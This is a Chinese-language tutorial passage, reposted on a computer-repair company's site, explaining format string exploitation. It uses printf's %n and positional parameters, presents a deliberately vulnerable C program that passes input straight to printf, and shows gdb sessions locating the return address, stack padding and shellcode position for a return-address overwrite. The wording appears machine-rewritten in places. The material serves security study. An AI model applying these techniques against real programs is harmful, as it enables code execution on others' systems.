设为主页 | 加入收藏 | 繁體中文

Format String 漏洞介绍/总结(二)

  2. format stirng 毛病利用
  通过后面讨论,我们很容易晓得,如果要让我们的shellcode运转起来,必须要晓得三个数
  据:
  1. 我们要写的地址,want_write_addr
  2. Printf参数后面多少位是我们自定义的数据地址,pad,也便是stack popup的值
  3. 我们的shellcode地址.
  为什么我们要晓得pad的数值呢?printf提供了一个$参数给我们,容许用户不用一个个显示
  参数,可以自定义显示数据,比如:
  [bkbll@mobile fmtxp_lib]$ cat 7.c
  main()
  {
  int i=1,j=2;
  printf("j=%2$d i=%1$d\n",i,j);
  }
  [bkbll@mobile fmtxp_lib]$ cc 7.c ; ./a.out
  j=2 i=1
  [bkbll@mobile fmtxp_lib]$
  有了这个$参数,我们也可以很容易控制写入到某个地址的数据地址:
  比如,我们想写入900到变量n内里,我们可以这样写:
  [bkbll@mobile fmtxp_lib]$ cat 8.c
  main()
  {
  int n=0;
  printf("before printf,n=%d\n",n);
  printf("%800d%n\n",1,&n);
  printf("after printf,n=%d\n",n);
  }
  [bkbll@mobile fmtxp_lib]$ cc 8.c ; ./a.out
  before printf,n=0
  1
  after printf,n=800
  [bkbll@mobile fmtxp_lib]$
  后面先容了大约的使用,我们来实战一下,就利用scut提供的一个程序做我们的例子吧:
  [bkbll@mobile fmtxp_lib]$ cat vuln.c
  #include
  #include
  #include
  void foo (char *line);
  int
  main (int argc, char *argv[])
  {
  FILE * f;
  char line[1024];
  f = fopen (argv[1], "rb");
  if (f == NULL) {
  fprintf (stderr, "usage: %s file\n", argv[0]);
  exit (EXIT_FAILURE);
  }
  fgets (line, sizeof (line) - 1, f);
  line[1023] = '\x00';
  foo (line);
  exit (EXIT_SUCCESS);
  }
  void
  foo (char *line)
  {
  printf (line);
  }
  程序从文件内里读取一行(<1024)然后显示出来,在foo函数内里存在一个款式化字符串的漏
  洞。
  一般利用format string的方法有以下几种:
  1. 笼罩GOT
  2. 利用DTORS
  3. 利用 C library hooks
  4. 利用 atexit 结构(静态编译版本才行)
  5. 笼罩函数前往地址
  等。这里我想先容笼罩GOT, 笼罩DTORS地址,笼罩函数前往地址三种方法, 其他方法类
  似。
  关于GOT表和DTORS段的含义,请参考相关材料。
  3. 利用笼罩函数前往地址等方法:
  起首我们要晓得want_write_addr以及pad和shellcode addr值,
  我们先跟踪一下vuln程序:
  [bkbll@mobile fmtxp_lib]$ echo "AAAA" > 6
  [bkbll@mobile fmtxp_lib]$ gdb -q vuln
  (gdb) x/i foo
  0x80484c4 : push %ebp
  (gdb) b *0x80484c4
  Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
  (gdb) r 6
  Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 6
  Breakpoint 1, foo (line=0x2

) at vuln.c:30
  30 {
  (gdb) x/wx $esp
  0xbffff67c: 0x080484b6
  从这里可以看出,foo函数的前往地址在0xbffff67c,也便是我们所要的want_write_addr地
  址。
  (gdb) x/i printf
  0x42052390 : push %ebp
  (gdb) b *0x42052390
  Breakpoint 2 at 0x42052390
  (gdb) c
  Continuing.
  Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6
  (gdb) x/16wx $esp
  0xbffff65c: 0x080484d5 0xbffff690 0x4000a190 0x42062a9d
  0xbffff66c: 0x4212a2d0 0x40012020 0xbffffaf4 0xbffffaa8
  0xbffff67c: 0x080484b6 0xbffff690 0x000003ff 0x08049660
  0xbffff68c: 0x40006575 0x41414141 0x0001000a 0x40008b1e
  这里我们可以失掉pad的值,我们的printf参数在0xbffff690:
  (gdb) x/s 0xbffff690
  0xbffff690: "AAAA\n"
  而我们真正的参数呈现在0xbffff68c+4处,我们盘算一下中心需要跳过多少地址:
  0xbffff68c+4-0xbffff65c-8=0x2c
  0x2c/4=11,也便是说中心需要颠末11个指针范例数据才能抵达,以是:
  pad=11+1=12(第12个指针范例数据)
  从后面又失掉我们的shellcode地址肯定是在0xbffff690+x处,和缓冲区溢出雷同,我们可以
  添补得当的NOP指令,只要X不太多,就可以将指令跳转到我们的NOP上,我们的
  shellcode就可以实行了。


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: